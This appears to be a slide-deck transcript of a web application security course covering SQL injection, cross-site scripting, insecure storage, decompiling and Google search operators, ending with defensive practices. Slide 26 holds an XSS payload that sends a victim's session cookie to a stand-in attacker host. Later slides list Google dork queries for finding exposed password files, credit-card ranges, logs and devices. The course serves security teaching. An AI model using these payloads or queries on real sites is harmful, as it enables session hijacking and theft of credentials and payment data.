web application security. agenda attacks types web applications and google what can be done?

78
Web Application Security

Upload: molly-cowan

Post on 27-Mar-2015

218 views

Category:

Documents


3 download

TRANSCRIPT

Page 1: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web Application Security

Page 2: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Agenda

Attacks Types Web applications and Google What can be done?

Page 3: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack Types

Page 4: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesWeb Application Vulnerabilities (OWASP Top 10)

Broken Access Control Broken Authentication and Session Management Buffer Overflows Denial of Service Insecure Configuration Management Poor Input Validation Injection Flaws (SQL Injection) Cross Site Scripting (XSS) Improper Error Handling Insecure Storage Reversing/decompiling

Page 5: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesWeb Application Vulnerabilities

Where can a web application be exploited? Inputs, outputs... Querystrings (www.ezenta.com/file.php?id=34) Form params (&name=sarid&phone=12121212) HTTP Headers Cookies Local Files? Anywhere a client has access to parameters

Page 6: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web application SecuritySQL Injection

Page 7: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesSQL Injection

The exploitation of weaknesses in a web application, ultimately enabling users to utlize functionality located within the database server framework.

Page 8: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesSQL Injection (Cont.)

Who is vulnerable? MS SQL Oracle Sybase DB2 MySQL Mm.

Not the fault of the database software but rather the fault of the developers that utilise these databases.

Page 9: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesSQL Injection (Cont.)

What can happen? Information leakage Data manipulation: INSERT, UPDATE, DELETE, … Execution of Stored Procedures (i.e. MSSQL) Data theft

What would you want if you were the attacker?

Page 10: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesSQL Injection (Cont.)

How would an attacker launch an attack in an attempt to gain access to a web server/DB server?

Prerequisites Some outbound trafic must be permitted, the user must know

which port The database’s user must be able to execute the EXEC

command The attacker must have some server (TFTP/FTP) from shich

files can be retrieved

Page 11: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Internet

Attacker User

FTP Server

Firewall Web Server

Page 12: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Internet

Attacker User

FTP Server

Firewall Web Server

Page 13: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Internet

Attacker User

FTP Server

Firewall Web Server

Page 14: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Internet

Attacker User

FTP Server

Firewall Web Server

Page 15: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesSQL Injection (Cont.)

DEMO: http://www.hackme.dk Identifying vulnerabilities Gathering info. about the DB: name, structure Altering data Running commands Error based/blind SQL injection Stored Procedures

Page 16: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

GAME OVER

Page 17: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web application SecurityCross Site Scripting (XSS)

Page 18: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesCross Site Scripting (XSS)

Attack aimed at the users of a web application, possible as a result of poor programming practices.

Page 19: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesCross Site Scripting (Cont.)

Two types:

Transient: The exploit is composed and delivered. Is generally executed just the one time.

Persistent: The exploit is composed and written to some data store. An example is a forum post.

Page 20: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesCross Site Scripting (Cont.)

Transient: The victim has to perform an action in order for the attack to work. Click on a link Download a file (eMule, Kazaa, Skype, MSN, …)

Persistent: The attacked is executed simply by visiting the compromised web application.

Page 21: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesCross Site Scripting (Cont.)

So you can execute some script in the user’s browser, who cares? Right?

Page 22: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesCross Site Scripting (Cont.)

What can happen? Information known only to the user and the web server ( in this

case session identifiers ) can be stolen. Sound scary? Consider this....

Ordering perscriptions over the net? Medical test results? On-line psychological consultations: Are you sure you’re

chatting to a doctor? Using netbank?

Page 23: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesCross Site Scripting (Cont.)

Net Bank Recently found a vulnerability that would enable an attacker to

create a false net bank logon. When the user entered their username and password, the details were sent to a third server.

This is real!

Page 24: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesCross Site Scripting (Cont.)

Who is vulnerable? JAVA .NET ASP PHP CF Mm.

It’s not MS’, Sun’s, Allaire’s or Novell’s fault (not always). It’s the fault of the developer!

Page 25: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesCross Site Scripting (Cont.)

How do users’ sessions get hijacked? A vulnerability is identified. An exploit is developed (as shown on next slide). The exploit is sent to the victim (transient) or posted in a

vulnerable page (persistant). The user clicks on the link (tansient) or visits the vulnerable

page (persistant). The user’s session identifier is sent to the attacker. The stolen session identifier is included in the attacker’s request

( shown in the demo ).

Page 26: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesCross Site Scripting (Cont.)

A simple transient XSS attack:www.somesite.com/[email protected] <script> window.open('http://<ATTACKER>/write_to_file.o?Session='+document.cookie,'obj_window','fullscreen=no,toolbar=no,status=no,menubar=no,scrollbars=no,resizable=yes,directories=no,location=no,width=100,height=100');</script>

All on one line.

Page 27: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesCross Site Scripting (Cont.)

How do users’ sessions get hijacked? A vulnerability is identified. An exploit is developed. The exploit is sent to the victim (transient) or posted in a

vulnerable page (persistant). The user clicks on the link (tansient) or visits the vulnerable

page (persistant). The user’s session identifier is sent to the attacker. The stolen session identifier is included in the attacker’s request

( shown in the demo ).

Page 28: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Internet

User

Attacker

Firewall Web Server

Page 29: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Internet

User

Attacker

Firewall Web Server

Page 30: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?
Page 31: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?
Page 32: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesCross Site Scripting (Cont.)

How do users’ sessions get hijacked? A vulnerability is identified. An exploit is developed. The exploit is sent to the victim (transient) or posted in a

vulnerable page (persistant). The user clicks on the link (tansient) or visits the vulnerable

page (persistant). The user’s session identifier is sent to the attacker. The stolen session identifier is incorporated into the attacker’s

request ( shown in the demo ).

Page 33: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?
Page 34: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?
Page 35: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?
Page 36: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?
Page 37: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?
Page 38: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesCross Site Scripting (Cont.)

DEMO: http://www.hackme.dk

Page 39: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web application SecurityImproper Error Handling

Page 40: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesImproper Error Handling

Reading error messages in an attempt to gain an understanding of the platform and technologies deployed

Page 41: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesImproper Error Handling (Cont.)

What can you learn from error messages? What database is being used If the developers are trying to hide what server side

technology is being used (by associating *.abc files with the asp.dll), it can be disclosed here

Usernames and passwords included in the connection string

Page 42: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web application SecurityInsecure Storage

Page 43: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesInsecure Storage – What is it?

The implementation of poor storage schemes used to store sensative information such as credit card details and the like

Page 44: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesInsecure Storage (cont.)

How can this type of vulnerability be found? Google Comments in a page’s source Error rmessages Filenames in temporary Mange more.

Page 45: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesInsecure Storage (cont.)

What are we looking for…

Page 46: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesInsecure Storage (cont.)

What other examples are there? Poor implementation of encryption algos Attempting to create your own encryption algo simple XOR

methods

Page 47: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesInsecure Storage (cont.)

Demo Password files

"your password is" filetype:log allinurl:admin ext:mdb

Credit card information allinurl:customers ext:mdb allinurl:shopping ext:mdb

Page 48: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesReversing/decompiling

Java and .NET can be decompiled The source code can be read What tools exist to enable this?

Java: DJ Decompiler .NET: Salamander (http://www.remotesoft.com/salamander/)

Page 49: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesReversing/decompiling (cont.)

Differences between native code and VM Native code = ASM Java/.NET = the original code

Native code DEMO Java/.NET DEMO

Page 50: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesReversing/decompiling (cont.)

Protection schemes for native code ASProtect ExeShield ACProtector Armadillo ExeCrypter PElock

Can they then be broken? It seem like it

What does the file now look like?

Page 51: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesReversing/decompiling (cont.)

Protection schemes for Java/.NET Obfuscation HASP

Can they then be broken?

What does the file now look like?

Page 52: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Attack TypesReversing/decompiling (cont.)

What protection schemes do you use? Do they work?

Page 53: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web application SecurityWhat can be done?

Page 54: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

What can be done?Who is responsible?

Customers can make demands! Development houses can educate developers!

Page 55: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

What can be done?Design

Threat Modelling; Understanding the threats (covered on day 2):”But we don’t use sessions””But we use SSL”

Code Reviews (briefly covered on day 2) Ask questions! Check lists Defence in depth Secure defaults

Page 56: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

What can be done?Implementation

Secure programming principles and practices, educate developers (Think like an attacker)

Input validation Output validation/encoding Fail safely Perform peer code reviews Reuse code that is know to be secure .....

Page 57: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

What can be done?Audit

Perform automated testing as well as manual (some of the tools available are covered on day two)

Test at every development stage Make a test plan Test all components

Page 58: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

What can be done?Configuration Management

The secure configuration of the implemented platform (covered on day 2)

Page 59: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web application SecurityWeb applications and Google

Page 60: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleGoogles’ advanced search operators

Alternate query types cache link:www.ezenta.com related:www.securityfocus.com info:www.google.com

Query Modifiers site:[ whitehouse.gov | www.whitehouse.gov ] allintitle:hacking tomcat intitle:hacking tomcat = intitle:hacking intext:tomcat allinurl:admin database inurl:admin database = intitle:admin intext:database

Page 61: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleGoogles’ advanced search operators (cont.)

Query Modifiers (cont.) filetype:doc ext:php (same as above) inanchor:funnystuff (<a href=target>funnystuff</a>) numrange:1111-9999 or 1111..9999 daterange:2453706-2453710 (represented in Julian time) phonebook:first last state

Page 62: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleWhat can you use this for?

Error messages as shown earlier Password files Login pages Logs Shopping information Online devices Source code?

Page 63: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleError messages as shown earlier

Try and find error messages that you are familiar with by using Googles’ advanced operators

Page 64: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleError messages as shown earlier

“A syntax error has occurred” filetype:ihtml “Incorrect syntax near” ”Internal Server Error” ”server at”

Page 65: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GooglePassword files

Try and find some password details using Google

Page 66: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GooglePassword files

intitle:”index of /etc” intext:(passwd | shadow) inurl:admin ext:(mdb | log | pwd | tmp | txt | bak)

intext:”your password is *” intext:”please use the following username * and

password *”

Page 67: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleLogin pages

Find some login pages that you are familiar with

Page 68: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleLogin pages

allinurl:login admin cms "You have requested access to a restricted area of our

website. Please authenticate yourself to continue.“ intitle:"Tomcat Server Administration"

Page 69: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleLogs

Find some common log files using Google

Page 70: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleLogs

inurl:log ext:(log | txt) inurl:admin ext:(log | txt) intitle:"index.of./“ allinurl:logs ftp security

Page 71: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleShopping information

Shopping information exists on web sites and Google knows about it. Find it!

Page 72: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleShopping information

inurl:shop database Mastercard 5111111111111111..5999999999999999

ext:(log | mdb | tmp | bak | txt) Visa 4111111111111..4999999999999 ext:(log | mdb |

tmp | bak | txt) Amex 371111111111111..379999999999999 ext:(log

| mdb | tmp | bak | txt)

Page 73: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleOnline devices

Do you use any online devices like WAPs? Find some online devices you are familiar with.

Page 74: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleOnline devices

intitle:"Live View / - AXIS” intitle:webeye inurl:login.ml inurl:"printer/main.html" intext:"settings” intitle:"Network Storage Link for USB 2.0 Disks"

Firmware (http://173016th.com/)

Page 75: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleSource Code

Find source code fragments with Google

Page 76: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web applications and GoogleSource Code

intext:"ADODB.Recordset" ext:inc inurl:index.php.bak

Page 77: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

Web application SecuritySummary

Bad programming can introduce huge issues Security awareness and education can help raise

security Google can be used for data mining Keep your

environment clean.

Page 78: Web Application Security. Agenda Attacks Types Web applications and Google What can be done?

?